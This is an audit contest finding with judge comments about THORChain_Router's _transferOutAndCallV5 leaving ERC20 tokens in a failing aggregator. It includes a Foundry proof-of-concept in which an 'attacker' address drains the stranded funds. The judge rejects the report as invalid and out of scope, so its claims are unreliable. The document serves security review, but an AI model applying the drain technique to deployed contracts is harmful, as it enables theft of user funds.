`_transferOutAndCallV5` Doesn't Return Funds to Recipient with Failing Aggregator

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L346-L376

Vulnerability details

Impact

The _transferOutAndCallV5 function in the THORChain_Router contract fails to return funds to the recipient if the transfer fails due to a failing aggregator. This occurs because the function does not handle the failure of the aggregator swap correctly, leaving the funds in the failing aggregator contract. This can result in a loss of funds for the sender, as the tokens are not returned to them despite the transfer failing.

Proof of Concept

The following proof of concept demonstrates how the transferOutAndCallV5 function fails to return funds to the recipient when the aggregator swap fails:

Test Case (Foundry)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.22;

import {Test, console} from "forge-std/Test.sol";
import {THORChain_Router} from "../contracts/THORChain_Router.sol";
import {THORChain_Aggregator} from "../contracts/THORChain_Aggregator.sol";
import {SushiRouterSmol} from "../contracts/sushiswap/SushiRouterSmol.sol";
import {WETH} from "../contracts/sushiswap/WETH.sol";
import {ERC20Token} from "../contracts/Token.sol";

contract RouterPOC is Test {
    THORChain_Router public router;
    THORChain_Aggregator public aggregator;

    SushiRouterSmol public sushiRouter;
    WETH public weth;
    ERC20Token public token;

    address public vault;

    function setUp() public {
        router = new THORChain_Router();
        weth = new WETH();
        sushiRouter = new SushiRouterSmol(address(weth));
        aggregator = new THORChain_Aggregator(address(weth), address(sushiRouter));
        token = new ERC20Token();

        vault = makeAddr("Vault");

        // deal tokens for sushiRouter and WETH
        deal(address(weth), 10e18);
        deal(address(weth), address(sushiRouter), 10e18);
    }

    function testPOC_transferOutAndCallV5_doseNotReturnToTheRecipientInCaseOfFailingAggregator() public {
        address recipient = makeAddr("recipient");
        uint256 swapOutAmount = 1e18;
        deal(address(token), vault, swapOutAmount);

        // setup a transferOutAndCallV5 payload
        THORChain_Router.TransferOutAndCallData memory aggrPayload;
        aggrPayload = THORChain_Router.TransferOutAndCallData(
            payable(address(aggregator)),
            address(token), 
            swapOutAmount,
            address(0), // native token
            payable(recipient),
            swapOutAmount * 2, // this will make the aggergator fails
            "",
            bytes(""),
            ""
        );

        vm.startPrank(vault);
        token.approve(address(router), swapOutAmount);
        router.depositWithExpiry(payable(vault), address(token), swapOutAmount, "", type(uint256).max);
        // The underlnine call of `aggregator.swapOutV5` will fail,
        // since the sushi router fail to swap aginst the min amount asked
        router.transferOutAndCallV5(aggrPayload);
        vm.stopPrank();
        // and the router will not revert, token amount will be leaved in target (aggregator),
        assertEq(token.balanceOf(address(aggregator)), swapOutAmount);

        // However, if the target used is the same aggregator in codebase, it has an issue (whish is OOS),
        // that allow any one to pull those native tokens at any given moment;
        address attacker = makeAddr("Attacker");

        // attacker do some updates the same aggergator payloads so it would not revert in aggergator scope
        aggrPayload.recipient = attacker;
        aggrPayload.amountOutMin = swapOutAmount;

        vm.prank(attacker);
        aggregator.swapOutV5(
            aggrPayload.fromAsset,
            aggrPayload.fromAmount,
            aggrPayload.toAsset,
            attacker,
            swapOutAmount,
            "",
            ""
        );

        assertEq(attacker.balance, swapOutAmount);
    }
}

Tools Used

• Foundry

Recommended Mitigation Steps

To mitigate this issue, the _transferOutAndCallV5 function should ensure that funds are returned to the sender if the transfer fails due to a failing aggregator. This can be achieved by reverting the transaction and returning the tokens to the sender in the case of a failed transfer. Additionally, the contract should handle the failure of the aggregator swap gracefully and revert the transaction if the swap fails, ensuring that funds are not lost in the process.

Assessed type

Other

[c4-judge]

trust1995 marked the issue as unsatisfactory: Invalid

[khalidfsh]

While it may seem similar to issue 19, this report focuses specifically on the use of ERC20 tokens and highlights a critical vulnerability where, in the event of a failure, funds are left in the aggregator. This scenario is particularly problematic since the aggregator is not designed to hold funds, which could lead to significant risks and operational issues.

Additionally, I have another issue, #11, which is a duplicate of issue 19, but it pertains to the use of gas tokens. The distinction between these issues is important as they address different scenarios and token types, both of which require attention to ensure the security and functionality of the contract.

Thank you for your understanding and consideration.

[c4-judge]

trust1995 marked the issue as unsatisfactory: Out of scope